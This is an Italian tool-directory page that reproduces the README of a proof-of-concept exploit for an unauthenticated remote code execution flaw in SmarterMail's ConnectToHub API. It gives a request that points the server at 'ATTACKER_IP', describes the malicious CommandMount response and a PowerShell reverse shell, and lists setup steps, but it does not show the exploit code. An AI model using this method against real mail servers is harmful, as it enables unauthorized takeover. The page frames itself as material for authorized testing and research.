Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SmarterMail-CVE-2026-24423 — PoC RCE non autenticato per CVE-2026-24423 in SmarterTools SmarterMail (ConnectToHub). Solo per test di sicurezza autorizzati, CTF e ricerca. | Kitploit
Strumenti/GitHubGitHub/cyberalp0/smartermail-cve-2026-24423
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubcyberalp0/smartermail-cve-2026-24423

SmarterMail-CVE-2026-24423

PoC RCE non autenticato per CVE-2026-24423 in SmarterTools SmarterMail (ConnectToHub). Solo per test di sicurezza autorizzati, CTF e ricerca.

Vedi Repository
3922 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SmarterMail ConnectToHub RCE — CVE-2026-24423

SmarterMail ConnectToHub RCE

Un exploit basato su Python per CVE-2026-24423, una vulnerabilità di Remote Code Execution non autenticata nella funzionalità ConnectToHub di SmarterTools SmarterMail.

Uso previsto: Solo per test di sicurezza autorizzati, CTF, laboratori Hack The Box e ambienti di ricerca controllati.


Avvio Rapido

Utilizzare solo contro sistemi di propria proprietà o per i quali si è esplicitamente autorizzati a eseguire test. Vedere SECURITY.md.

# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423

# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate

# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
#    (see the Configuration section below)

# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py

Richiede Python 3.6+ (solo libreria standard). Procedura completa nella sezione Utilizzo di seguito.


Indice

  • Panoramica
  • Dettagli CVE
  • Versioni Affette
  • Descrizione della Vulnerabilità
  • Dettagli Tecnici
  • Flusso di Sfruttamento
  • Requisiti
  • Configurazione
  • Utilizzo
  • Output Atteso
  • Risoluzione dei Problemi
  • Screenshot
  • Struttura del Progetto
  • Mitigazione
  • Riferimenti
  • Disclaimer

Panoramica

CVE-2026-24423 è una vulnerabilità di Remote Code Execution non autenticata che interessa SmarterTools SmarterMail.

La vulnerabilità risiede nella funzionalità ConnectToHub. Un attaccante non autenticato può fornire un hubAddress malevolo, causando l'invio di una richiesta HTTP da parte del server SmarterMail verso un server controllato dall'attaccante.

Il server malevolo risponde con una risposta setup-initial-connection appositamente costruita contenente un valore SystemMount.CommandMount controllato.

L'istanza vulnerabile di SmarterMail elabora successivamente questo valore come comando del sistema operativo, consentendo l'esecuzione arbitraria di comandi nel contesto di sicurezza del servizio SmarterMail.

Alla vulnerabilità è stato assegnato un punteggio CVSS 4.0 di 9.3 (Critico) ed è classificata come CWE-306: Missing Authentication for Critical Function.


Dettagli CVE

CampoValore
CVECVE-2026-24423
VendorSmarterTools
ProdottoSmarterMail
VulnerabilitàRemote Code Execution non autenticata
CWECWE-306
CVSS v4.09.3 Critico
CVSS v3.19.8 Critico
Vettore di AttaccoRete
AutenticazioneNessuna
Interazione UtenteNessuna
ComplessitàBassa
Pubblicato23 gennaio 2026
Build Corretta9511

Il record CVE ufficiale descrive il problema come una RCE non autenticata tramite il metodo API ConnectToHub.


Versioni Affette

Le versioni di SmarterMail precedenti alla Build 9511 sono affette.

Il record CVE specifica l'intervallo interessato come:

SmarterMail < 100.0.9511

La build 9511, rilasciata il 15 gennaio 2026, contiene la correzione del vendor.

Vulnerabili

< 100.0.9511

Corrette

>= 100.0.9511

Verificare sempre la build esatta installata prima di tentare di riprodurre la vulnerabilità.


Descrizione della Vulnerabilità

La funzionalità vulnerabile è esposta tramite l'API di amministrazione di sistema di SmarterMail.

L'operazione rilevante è:

/api/v1/settings/sysadmin/connect-to-hub

L'endpoint accetta un parametro hubAddress.

Concettualmente, un attaccante può fornire:

{
    "hubAddress": "http://ATTACKER_IP:8081",
    "oneTimePassword": "temporary-value",
    "nodeName": "DC"
}

SmarterMail si connette quindi all'indirizzo hub fornito e richiede:

/web/api/node-management/setup-initial-connection

Il server controllato dall'attaccante risponde con un JSON contenente un oggetto SystemMount malevolo.

La proprietà importante è:

"SystemMount": {
    "Enabled": true,
    "ReadOnly": false,
    "MountPath": "...",
    "CommandMount": "..."
}

Il valore CommandMount viene successivamente utilizzato dall'applicazione vulnerabile come comando del sistema operativo.

Ciò consente a un attaccante di passare da:

Richiesta HTTP non autenticata

a:

Esecuzione remota di comandi

L'analisi tecnica di VulnCheck conferma che l'hubAddress controllato dall'attaccante induce SmarterMail a richiedere l'endpoint setup-initial-connection dell'attaccante e che il CommandMount restituito può fornire l'esecuzione arbitraria di comandi.


Dettagli Tecnici

L'exploit è composto da due componenti:

1. Falso Hub SmarterMail

Il server Python è in ascolto per:

POST /web/api/node-management/setup-initial-connection

e restituisce una risposta JSON appositamente costruita contenente il SystemMount.CommandMount malevolo.

2. Listener Reverse Shell

Un listener TCP separato riceve la connessione avviata dal comando eseguito sul target.

Questo exploit utilizza intenzionalmente due porte separate.

8081
└── Falso Hub SmarterMail

4455
└── Listener Reverse Shell

Flusso di Sfruttamento

flowchart LR

    A[Attacker<br/>10.10.14.50]

    H[Fake SmarterMail Hub<br/>TCP/8081]

    T[SmarterMail Target<br/>10.129.57.86]

    C[CommandMount<br/>Command Execution]

    P[PowerShell]

    L[Reverse Shell Listener<br/>TCP/4455]

    A -->|Trigger ConnectToHub| T
    T -->|HTTP POST| H
    H -->|Malicious JSON| T
    T -->|CommandMount| C
    C --> P
    P -->|Reverse TCP| L
    L --> A

Connessione 1 — Falso Hub

Target
   |
   | HTTP
   v
10.10.14.50:8081

Connessione 2 — Reverse Shell

Target
   |
   | TCP
   v
10.10.14.50:4455

Queste porte hanno scopi diversi e non devono essere confuse.


Requisiti

  • Python 3
  • Macchina attaccante Linux
  • VPN Hack The Box o rete autorizzata equivalente
  • Connettività di rete dal target all'attaccante
  • Netcat
  • Installazione vulnerabile di SmarterMail

L'exploit utilizza solo moduli della libreria standard di Python:

http.server
json
base64

Non sono richiesti pacchetti Python esterni.


Configurazione

Modificare le seguenti variabili:

LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081

Per l'ambiente HTB di esempio:

LHOST     = 10.10.14.50
LPORT     = 4455
HUB_PORT  = 8081

LHOST

LHOST è l'indirizzo IP dell'attaccante che il target può raggiungere.

Per Hack The Box, questo è normalmente l'IP assegnato all'interfaccia VPN HTB:

ip addr show tun0

Esempio:

tun0:
    inet 10.10.14.50

Pertanto:

LHOST = "10.10.14.50"

LPORT

LPORT è la porta TCP utilizzata dall'attaccante per ricevere la connessione inversa.

Esempio:

LPORT = 4455

HUB_PORT

Scarica lo strumento